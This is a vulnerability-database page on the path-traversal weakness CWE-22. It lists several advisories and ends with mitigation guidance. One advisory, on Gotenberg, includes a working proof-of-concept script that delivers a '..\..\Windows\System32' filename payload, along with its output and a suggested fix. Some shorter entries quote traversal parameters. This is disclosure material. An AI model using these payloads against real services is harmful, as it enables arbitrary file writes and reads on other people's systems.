CWE-22
Allowed-with-ReviewImproper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Abstraction: Base · Status: Stable
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
13316 vulnerabilities reference this CWE, most recent first.
GHSA-HW4X-Q63W-42VP
Vulnerability from github – Published: 2023-05-26 15:30 – Updated: 2025-11-03 21:30Nagvis before 1.9.34 was discovered to contain an arbitrary file read vulnerability via the component /core/classes/NagVisHoverUrl.php.
{
"affected": [],
"aliases": [
"CVE-2022-46945"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-05-26T15:15:09Z",
"severity": "MODERATE"
},
"details": "Nagvis before 1.9.34 was discovered to contain an arbitrary file read vulnerability via the component /core/classes/NagVisHoverUrl.php.",
"id": "GHSA-hw4x-q63w-42vp",
"modified": "2025-11-03T21:30:48Z",
"published": "2023-05-26T15:30:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-46945"
},
{
"type": "WEB",
"url": "https://github.com/NagVis/nagvis/commit/71aba7f46f79d846e1df037f165d206a2cd1d22a"
},
{
"type": "WEB",
"url": "https://github.com/NagVis/nagvis/compare/nagvis-1.9.33...nagvis-1.9.34"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2025/05/msg00000.html"
},
{
"type": "WEB",
"url": "https://www.sonarsource.com/blog/checkmk-rce-chain-3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-HW5H-J2W2-44C7
Vulnerability from github – Published: 2022-05-13 01:26 – Updated: 2022-05-13 01:26LAOBANCMS 2.0 allows install/mysql_hy.php?riqi=../ Directory Traversal.
{
"affected": [],
"aliases": [
"CVE-2018-19328"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-11-17T15:29:00Z",
"severity": "CRITICAL"
},
"details": "LAOBANCMS 2.0 allows install/mysql_hy.php?riqi=../ Directory Traversal.",
"id": "GHSA-hw5h-j2w2-44c7",
"modified": "2022-05-13T01:26:58Z",
"published": "2022-05-13T01:26:58Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-19328"
},
{
"type": "WEB",
"url": "https://github.com/onkyoworm/poc/blob/master/laobancms/poc.md"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-HW78-2CW4-QG94
Vulnerability from github – Published: 2022-04-16 00:00 – Updated: 2022-04-23 00:03Multiple vulnerabilities in the Cisco IOx application hosting environment on multiple Cisco platforms could allow an attacker to inject arbitrary commands into the underlying host operating system, execute arbitrary code on the underlying host operating system, install applications without being authenticated, or conduct a cross-site scripting (XSS) attack against a user of the affected software. For more information about these vulnerabilities, see the Details section of this advisory.
{
"affected": [],
"aliases": [
"CVE-2022-20724"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-362"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-04-15T15:15:00Z",
"severity": "HIGH"
},
"details": "Multiple vulnerabilities in the Cisco IOx application hosting environment on multiple Cisco platforms could allow an attacker to inject arbitrary commands into the underlying host operating system, execute arbitrary code on the underlying host operating system, install applications without being authenticated, or conduct a cross-site scripting (XSS) attack against a user of the affected software. For more information about these vulnerabilities, see the Details section of this advisory.",
"id": "GHSA-hw78-2cw4-qg94",
"modified": "2022-04-23T00:03:20Z",
"published": "2022-04-16T00:00:49Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/orangecertcc/security-research/security/advisories/GHSA-xr7h-wjgg-h3rp"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-20724"
},
{
"type": "WEB",
"url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-iox-yuXQ6hFj"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-HW7V-X9G7-J8CF
Vulnerability from github – Published: 2022-05-14 03:20 – Updated: 2022-05-14 03:20Seagate Media Server in Seagate Personal Cloud before 4.3.18.4 has directory traversal in getPhotoPlaylistPhotos.psp via a parameter named url.
{
"affected": [],
"aliases": [
"CVE-2017-18263"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-04-28T01:29:00Z",
"severity": "HIGH"
},
"details": "Seagate Media Server in Seagate Personal Cloud before 4.3.18.4 has directory traversal in getPhotoPlaylistPhotos.psp via a parameter named url.",
"id": "GHSA-hw7v-x9g7-j8cf",
"modified": "2022-05-14T03:20:28Z",
"published": "2022-05-14T03:20:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-18263"
},
{
"type": "WEB",
"url": "https://packetstormsecurity.com/files/147274/Seagate-Media-Server-Path-Traversal.html"
},
{
"type": "WEB",
"url": "https://sumofpwn.nl/advisory/2017/seagate-media-server-path-traversal-vulnerability.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-HW83-J72W-Q54C
Vulnerability from github – Published: 2026-04-30 18:30 – Updated: 2026-04-30 18:30An issue in the fileMd5 parameter in the /a/file/upload endpoint of JeeSite v5.15.1 allows authenticated attackers with file upload permissions to execute a path traversal and write arbitrary files with whitelisted suffixes to arbitrary filesystem locations while chunked upload is enabled.
{
"affected": [],
"aliases": [
"CVE-2026-36760"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-04-30T17:16:26Z",
"severity": "CRITICAL"
},
"details": "An issue in the fileMd5 parameter in the /a/file/upload endpoint of JeeSite v5.15.1 allows authenticated attackers with file upload permissions to execute a path traversal and write arbitrary files with whitelisted suffixes to arbitrary filesystem locations while chunked upload is enabled.",
"id": "GHSA-hw83-j72w-q54c",
"modified": "2026-04-30T18:30:32Z",
"published": "2026-04-30T18:30:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-36760"
},
{
"type": "WEB",
"url": "https://github.com/thinkgem/jeesite/issues/530"
},
{
"type": "WEB",
"url": "https://github.com/thinkgem/jeesite"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-HWC4-GMRW-5222
Vulnerability from github – Published: 2026-05-29 16:38 – Updated: 2026-05-29 16:38Summary
filepath.Base on the Linux container does not strip backslashes (\), because \ is only a path separator on Windows. A multipart filename like ..\..\..\..\Windows\System32\evil.pdf survives Gotenberg's input sanitisation and lands verbatim as the zip entry name when a multi-output route returns its result as a zip (e.g. /forms/pdfengines/split). Windows zip extractors interpret \ as a path separator and write the file outside the extraction directory.
Details
pkg/modules/api/context.go:434, 472:
filename := norm.NFC.String(filepath.Base(fh.Filename))
On Linux, filepath.Base("..\\..\\..\\..\\Windows\\System32\\evil.pdf") returns the same string verbatim — there are no / separators to find. The original filename then flows to ctx.diskToOriginal (pkg/modules/api/context.go:459, 393) and through pkg/modules/pdfengines/routes.go:287-322 (SplitPdfStub), which builds:
originalNameNoExt := strings.TrimSuffix(originalName, filepath.Ext(originalName))
newOriginal := fmt.Sprintf("%s_%d.pdf", originalNameNoExt, i)
ctx.RegisterDiskPath(newPath, newOriginal)
Finally pkg/modules/api/context.go:617-642 constructs the zip via archives.FilesFromDisk + archives.Zip{}.Archive. mholt/archives@v0.1.5/archives.go:155-184 (nameOnDiskToNameInArchive) returns path.Join(rootInArchive, "") — the map value verbatim.
Suggested fix
- filename := norm.NFC.String(filepath.Base(fh.Filename))
+ filename := sanitizeFilename(fh.Filename)
+
+ func sanitizeFilename(name string) string {
+ if i := strings.LastIndexAny(name, "/\\"); i >= 0 {
+ name = name[i+1:]
+ }
+ name = norm.NFC.String(name)
+ // Optional belt-and-braces:
+ name = strings.ReplaceAll(name, "..", "_")
+ name = strings.Map(func(r rune) rune {
+ if r < 0x20 || r == 0x7f { return -1 }
+ return r
+ }, name)
+ return name
+ }
The same sanitiser closes Advisory 8.
PoC
Prerequisite: pip install requests. curl -F filename= mangles backslashes on some shells, so we use Python's requests to deliver the malicious filename byte-perfect.
mkdir -p /tmp/gotenberg-poc && cd /tmp/gotenberg-poc
docker rm -f gotenberg-audit 2>/dev/null
docker run -d --rm --name gotenberg-audit -p 3000:3000 gotenberg/gotenberg:8.32.0
i=0; until [ "$(curl -s -o /dev/null -w '%{http_code}' http://localhost:3000/health)" = "200" ] || [ $i -ge 30 ]; do i=$((i+1)); sleep 2; done
# Stub PDF.
printf '%%PDF-1.4\n1 0 obj<</Type/Catalog/Pages 2 0 R>>endobj\n2 0 obj<</Type/Pages/Kids[3 0 R]/Count 1>>endobj\n3 0 obj<</Type/Page/Parent 2 0 R/MediaBox[0 0 612 792]>>endobj\nxref\n0 4\n0000000000 65535 f\n0000000010 00000 n\n0000000053 00000 n\n0000000100 00000 n\ntrailer<</Size 4/Root 1 0 R>>\nstartxref\n158\n%%%%EOF\n' > stub.pdf
# Step 1: produce a 2-page PDF so /split returns multiple entries.
curl -s -o two.pdf -X POST http://localhost:3000/forms/pdfengines/merge \
-F 'files=@stub.pdf;filename=a.pdf' \
-F 'files=@stub.pdf;filename=b.pdf'
# Step 2: split, declaring the multipart filename as a Windows path-traversal payload.
python3 - <<'PY'
import requests, zipfile, binascii
fname = '..\\..\\..\\..\\Windows\\System32\\evil.pdf'
files = {'files': (fname, open('two.pdf', 'rb'), 'application/pdf')}
data = {'splitMode': 'intervals', 'splitSpan': '1'}
r = requests.post('http://localhost:3000/forms/pdfengines/split', files=files, data=data)
print(f'HTTP={r.status_code} ctype={r.headers.get("content-type")} bytes={len(r.content)}')
open('split.zip', 'wb').write(r.content)
z = zipfile.ZipFile('split.zip')
print('--- zip entries (orig_filename) ---')
for info in z.infolist():
print(f' {info.orig_filename!r}')
# Show raw central-directory bytes to prove backslashes are on the wire:
data = open('split.zip', 'rb').read()
idx = data.find(b'PK\x01\x02')
print('--- raw central-dir hex around filename ---')
print(f' {binascii.hexlify(data[idx:idx+80]).decode()}')
PY
docker stop gotenberg-audit
Observed output:
HTTP=200 ctype=application/zip bytes=24750
--- zip entries (orig_filename) ---
'..\\..\\..\\..\\Windows\\System32\\evil_0.pdf'
'..\\..\\..\\..\\Windows\\System32\\evil_1.pdf'
--- raw central-dir hex around filename ---
504b010214031400080800009a7da25c61b6fc178e2f00008e2f0000270009000000000000000000a481000000002e2e5c2e2e5c2e2e5c2e2e5c57696e646f77735c53797374656d33325c6576696c5f
The trailing hex 2e2e5c 2e2e5c 2e2e5c 2e2e5c 57696e646f7773 5c 53797374656d3332 5c 6576696c5f decodes to ..\..\..\..\Windows\System32\evil_. (Python's ZipFile.namelist() would normally hide this by displaying /, but info.orig_filename returns the literal backslash form.)
To see the Windows-side traversal effect on a Windows host, run:
Expand-Archive -Path .\split.zip -DestinationPath .\out -Force
Get-ChildItem .\out -Recurse
# → out\Windows\System32\evil_0.pdf
# → out\Windows\System32\evil_1.pdf
PowerShell collapses the .. parents but creates the Windows\System32\ subdirectory tree. 7-Zip and WinRAR with default settings honor the .. parents and traverse out of the extraction directory entirely.
Impact
- Arbitrary file write on a Windows-side consumer that extracts the returned zip (Windows Explorer, 7-Zip, WinRAR, .NET
ZipFile.ExtractToDirectory). - Reachable via every multi-output Gotenberg route —
/forms/pdfengines/split,/forms/pdfengines/flatten//encrypt//embed//watermark//stamp//rotate(when called with multiple input PDFs),/forms/libreoffice/convertwith multiple inputs,/forms/pdfengines/convert. - Also reachable via
downloadFromupstreamContent-Disposition: filename="..\\..\\evil.exe"— the filename flows through the samectx.diskToOriginalmap atpkg/modules/api/context.go:354, 393.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 8.32.0"
},
"package": {
"ecosystem": "Go",
"name": "github.com/gotenberg/gotenberg/v8"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "8.33.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-44829"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-29T16:38:24Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n`filepath.Base` on the Linux container does not strip backslashes (`\\`), because `\\` is only a path separator on Windows. A multipart filename like `..\\..\\..\\..\\Windows\\System32\\evil.pdf` survives Gotenberg\u0027s input sanitisation and lands verbatim as the zip entry name when a multi-output route returns its result as a zip (e.g. `/forms/pdfengines/split`). Windows zip extractors interpret `\\` as a path separator and write the file outside the extraction directory.\n\n### Details\n`pkg/modules/api/context.go:434, 472`:\n```go\nfilename := norm.NFC.String(filepath.Base(fh.Filename))\n```\nOn Linux, `filepath.Base(\"..\\\\..\\\\..\\\\..\\\\Windows\\\\System32\\\\evil.pdf\")` returns the same string verbatim \u2014 there are no `/` separators to find. The original filename then flows to `ctx.diskToOriginal` (`pkg/modules/api/context.go:459, 393`) and through `pkg/modules/pdfengines/routes.go:287-322` (`SplitPdfStub`), which builds:\n```go\noriginalNameNoExt := strings.TrimSuffix(originalName, filepath.Ext(originalName))\nnewOriginal := fmt.Sprintf(\"%s_%d.pdf\", originalNameNoExt, i)\nctx.RegisterDiskPath(newPath, newOriginal)\n```\nFinally `pkg/modules/api/context.go:617-642` constructs the zip via `archives.FilesFromDisk` + `archives.Zip{}.Archive`. `mholt/archives@v0.1.5/archives.go:155-184` (`nameOnDiskToNameInArchive`) returns `path.Join(rootInArchive, \"\")` \u2014 the map value verbatim.\n\n### Suggested fix\n```diff\n- filename := norm.NFC.String(filepath.Base(fh.Filename))\n+ filename := sanitizeFilename(fh.Filename)\n+\n+ func sanitizeFilename(name string) string {\n+ if i := strings.LastIndexAny(name, \"/\\\\\"); i \u003e= 0 {\n+ name = name[i+1:]\n+ }\n+ name = norm.NFC.String(name)\n+ // Optional belt-and-braces:\n+ name = strings.ReplaceAll(name, \"..\", \"_\")\n+ name = strings.Map(func(r rune) rune {\n+ if r \u003c 0x20 || r == 0x7f { return -1 }\n+ return r\n+ }, name)\n+ return name\n+ }\n```\nThe same sanitiser closes Advisory 8.\n\n### PoC\n**Prerequisite:** `pip install requests`. `curl -F filename=` mangles backslashes on some shells, so we use Python\u0027s `requests` to deliver the malicious filename byte-perfect.\n\n```bash\nmkdir -p /tmp/gotenberg-poc \u0026\u0026 cd /tmp/gotenberg-poc\n\ndocker rm -f gotenberg-audit 2\u003e/dev/null\ndocker run -d --rm --name gotenberg-audit -p 3000:3000 gotenberg/gotenberg:8.32.0\ni=0; until [ \"$(curl -s -o /dev/null -w \u0027%{http_code}\u0027 http://localhost:3000/health)\" = \"200\" ] || [ $i -ge 30 ]; do i=$((i+1)); sleep 2; done\n\n# Stub PDF.\nprintf \u0027%%PDF-1.4\\n1 0 obj\u003c\u003c/Type/Catalog/Pages 2 0 R\u003e\u003eendobj\\n2 0 obj\u003c\u003c/Type/Pages/Kids[3 0 R]/Count 1\u003e\u003eendobj\\n3 0 obj\u003c\u003c/Type/Page/Parent 2 0 R/MediaBox[0 0 612 792]\u003e\u003eendobj\\nxref\\n0 4\\n0000000000 65535 f\\n0000000010 00000 n\\n0000000053 00000 n\\n0000000100 00000 n\\ntrailer\u003c\u003c/Size 4/Root 1 0 R\u003e\u003e\\nstartxref\\n158\\n%%%%EOF\\n\u0027 \u003e stub.pdf\n\n# Step 1: produce a 2-page PDF so /split returns multiple entries.\ncurl -s -o two.pdf -X POST http://localhost:3000/forms/pdfengines/merge \\\n -F \u0027files=@stub.pdf;filename=a.pdf\u0027 \\\n -F \u0027files=@stub.pdf;filename=b.pdf\u0027\n\n# Step 2: split, declaring the multipart filename as a Windows path-traversal payload.\npython3 - \u003c\u003c\u0027PY\u0027\nimport requests, zipfile, binascii\nfname = \u0027..\\\\..\\\\..\\\\..\\\\Windows\\\\System32\\\\evil.pdf\u0027\nfiles = {\u0027files\u0027: (fname, open(\u0027two.pdf\u0027, \u0027rb\u0027), \u0027application/pdf\u0027)}\ndata = {\u0027splitMode\u0027: \u0027intervals\u0027, \u0027splitSpan\u0027: \u00271\u0027}\nr = requests.post(\u0027http://localhost:3000/forms/pdfengines/split\u0027, files=files, data=data)\nprint(f\u0027HTTP={r.status_code} ctype={r.headers.get(\"content-type\")} bytes={len(r.content)}\u0027)\nopen(\u0027split.zip\u0027, \u0027wb\u0027).write(r.content)\n\nz = zipfile.ZipFile(\u0027split.zip\u0027)\nprint(\u0027--- zip entries (orig_filename) ---\u0027)\nfor info in z.infolist():\n print(f\u0027 {info.orig_filename!r}\u0027)\n\n# Show raw central-directory bytes to prove backslashes are on the wire:\ndata = open(\u0027split.zip\u0027, \u0027rb\u0027).read()\nidx = data.find(b\u0027PK\\x01\\x02\u0027)\nprint(\u0027--- raw central-dir hex around filename ---\u0027)\nprint(f\u0027 {binascii.hexlify(data[idx:idx+80]).decode()}\u0027)\nPY\n\ndocker stop gotenberg-audit\n```\n\n**Observed output:**\n```\nHTTP=200 ctype=application/zip bytes=24750\n--- zip entries (orig_filename) ---\n \u0027..\\\\..\\\\..\\\\..\\\\Windows\\\\System32\\\\evil_0.pdf\u0027\n \u0027..\\\\..\\\\..\\\\..\\\\Windows\\\\System32\\\\evil_1.pdf\u0027\n--- raw central-dir hex around filename ---\n 504b010214031400080800009a7da25c61b6fc178e2f00008e2f0000270009000000000000000000a481000000002e2e5c2e2e5c2e2e5c2e2e5c57696e646f77735c53797374656d33325c6576696c5f\n```\n\nThe trailing hex `2e2e5c 2e2e5c 2e2e5c 2e2e5c 57696e646f7773 5c 53797374656d3332 5c 6576696c5f` decodes to `..\\..\\..\\..\\Windows\\System32\\evil_`. (Python\u0027s `ZipFile.namelist()` would normally hide this by displaying `/`, but `info.orig_filename` returns the literal backslash form.)\n\nTo see the Windows-side traversal effect on a Windows host, run:\n```powershell\nExpand-Archive -Path .\\split.zip -DestinationPath .\\out -Force\nGet-ChildItem .\\out -Recurse\n# \u2192 out\\Windows\\System32\\evil_0.pdf\n# \u2192 out\\Windows\\System32\\evil_1.pdf\n```\nPowerShell collapses the `..` parents but creates the `Windows\\System32\\` subdirectory tree. 7-Zip and WinRAR with default settings honor the `..` parents and traverse out of the extraction directory entirely.\n\n### Impact\n- Arbitrary file write on a Windows-side consumer that extracts the returned zip (Windows Explorer, 7-Zip, WinRAR, .NET `ZipFile.ExtractToDirectory`).\n- Reachable via every multi-output Gotenberg route \u2014 `/forms/pdfengines/split`, `/forms/pdfengines/flatten`/`/encrypt`/`/embed`/`/watermark`/`/stamp`/`/rotate` (when called with multiple input PDFs), `/forms/libreoffice/convert` with multiple inputs, `/forms/pdfengines/convert`.\n- Also reachable via `downloadFrom` upstream `Content-Disposition: filename=\"..\\\\..\\\\evil.exe\"` \u2014 the filename flows through the same `ctx.diskToOriginal` map at `pkg/modules/api/context.go:354, 393`.",
"id": "GHSA-hwc4-gmrw-5222",
"modified": "2026-05-29T16:38:24Z",
"published": "2026-05-29T16:38:24Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gotenberg/gotenberg/security/advisories/GHSA-hwc4-gmrw-5222"
},
{
"type": "PACKAGE",
"url": "https://github.com/gotenberg/gotenberg"
},
{
"type": "WEB",
"url": "https://github.com/gotenberg/gotenberg/releases/tag/v8.33.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L",
"type": "CVSS_V3"
}
],
"summary": "Gotenberg has path traversal in zip entry name via Windows-style separators in upload filename"
}
GHSA-HWJ5-VVRP-W79H
Vulnerability from github – Published: 2026-04-02 15:31 – Updated: 2026-04-02 15:31A security vulnerability has been detected in Textpattern up to 4.9.1. Affected by this vulnerability is the function mt_uploadImage of the file rpc/TXP_RPCServer.php of the component XML-RPC Handler. The manipulation of the argument file.name leads to path traversal. Remote exploitation of the attack is possible. The exploit has been disclosed publicly and may be used. The vendor confirmed the issue and will provide a fix in the upcoming release.
{
"affected": [],
"aliases": [
"CVE-2026-5344"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-04-02T15:16:53Z",
"severity": "MODERATE"
},
"details": "A security vulnerability has been detected in Textpattern up to 4.9.1. Affected by this vulnerability is the function mt_uploadImage of the file rpc/TXP_RPCServer.php of the component XML-RPC Handler. The manipulation of the argument file.name leads to path traversal. Remote exploitation of the attack is possible. The exploit has been disclosed publicly and may be used. The vendor confirmed the issue and will provide a fix in the upcoming release.",
"id": "GHSA-hwj5-vvrp-w79h",
"modified": "2026-04-02T15:31:43Z",
"published": "2026-04-02T15:31:43Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-5344"
},
{
"type": "WEB",
"url": "https://github.com/LTX-GOD/Mycve/blob/main/Textpatterncms_en.md"
},
{
"type": "WEB",
"url": "https://vuldb.com/submit/769166"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/354696"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/354696/cti"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-HWP3-H28H-9G7G
Vulnerability from github – Published: 2023-08-03 03:30 – Updated: 2024-04-04 06:30A path traversal vulnerability exists in Control ID IDSecure 4.7.26.0 and prior, allowing attackers to delete arbitrary files on IDSecure filesystem, causing a denial of service.
{
"affected": [],
"aliases": [
"CVE-2023-33369"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-08-03T01:15:11Z",
"severity": "CRITICAL"
},
"details": "A path traversal vulnerability exists in Control ID IDSecure 4.7.26.0 and prior, allowing attackers to delete arbitrary files on IDSecure filesystem, causing a denial of service.",
"id": "GHSA-hwp3-h28h-9g7g",
"modified": "2024-04-04T06:30:09Z",
"published": "2023-08-03T03:30:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-33369"
},
{
"type": "WEB",
"url": "https://claroty.com/team82/disclosure-dashboard/cve-2023-33369"
},
{
"type": "WEB",
"url": "https://www.controlid.com.br/en/access-control/idsecure"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-HWPM-FGHJ-2P7P
Vulnerability from github – Published: 2022-05-24 19:20 – Updated: 2022-05-24 19:20AlquistManager branch as of commit 280d99f43b11378212652e75f6f3159cde9c1d36 is affected by a directory traversal vulnerability in alquist/IO/input.py. This attack can cause the disclosure of critical secrets stored anywhere on the system and can significantly aid in getting remote code access.
{
"affected": [],
"aliases": [
"CVE-2021-43495"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-11-15T13:15:00Z",
"severity": "HIGH"
},
"details": "AlquistManager branch as of commit 280d99f43b11378212652e75f6f3159cde9c1d36 is affected by a directory traversal vulnerability in alquist/IO/input.py. This attack can cause the disclosure of critical secrets stored anywhere on the system and can significantly aid in getting remote code access.",
"id": "GHSA-hwpm-fghj-2p7p",
"modified": "2022-05-24T19:20:57Z",
"published": "2022-05-24T19:20:57Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-43495"
},
{
"type": "WEB",
"url": "https://github.com/AlquistManager/alquist/issues/43"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-HWQ5-4F7M-7WWG
Vulnerability from github – Published: 2024-08-22 21:31 – Updated: 2024-10-16 15:32Path Traversal vulnerability discovered in OpenText™ CX-E Voice,
affecting all version through 22.4. The vulnerability could allow arbitrarily access files on the system.
{
"affected": [],
"aliases": [
"CVE-2023-7260"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-08-22T21:15:16Z",
"severity": "MODERATE"
},
"details": "Path Traversal vulnerability discovered in OpenText\u2122 CX-E Voice, \n\naffecting all version through 22.4. The vulnerability could allow\u00a0arbitrarily access files on the system.",
"id": "GHSA-hwq5-4f7m-7wwg",
"modified": "2024-10-16T15:32:06Z",
"published": "2024-08-22T21:31:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-7260"
},
{
"type": "WEB",
"url": "https://support.opentext.com/csm?id=kb_article_view\u0026sysparm_article=KB0823114"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:L/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:N/AU:Y/R:A/V:C/RE:L/U:Amber",
"type": "CVSS_V4"
}
]
}
Mitigation MIT-5.1
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
- Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-20.1
Strategy: Input Validation
- Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
- Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes:
- realpath() in C
- getCanonicalPath() in Java
- GetFullPath() in ASP.NET
- realpath() or abs_path() in Perl
- realpath() in PHP
Mitigation MIT-4
Strategy: Libraries or Frameworks
Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-17
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Mitigation MIT-21.1
Strategy: Enforcement by Conversion
- When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
- For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
Mitigation MIT-22
Strategy: Sandbox or Jail
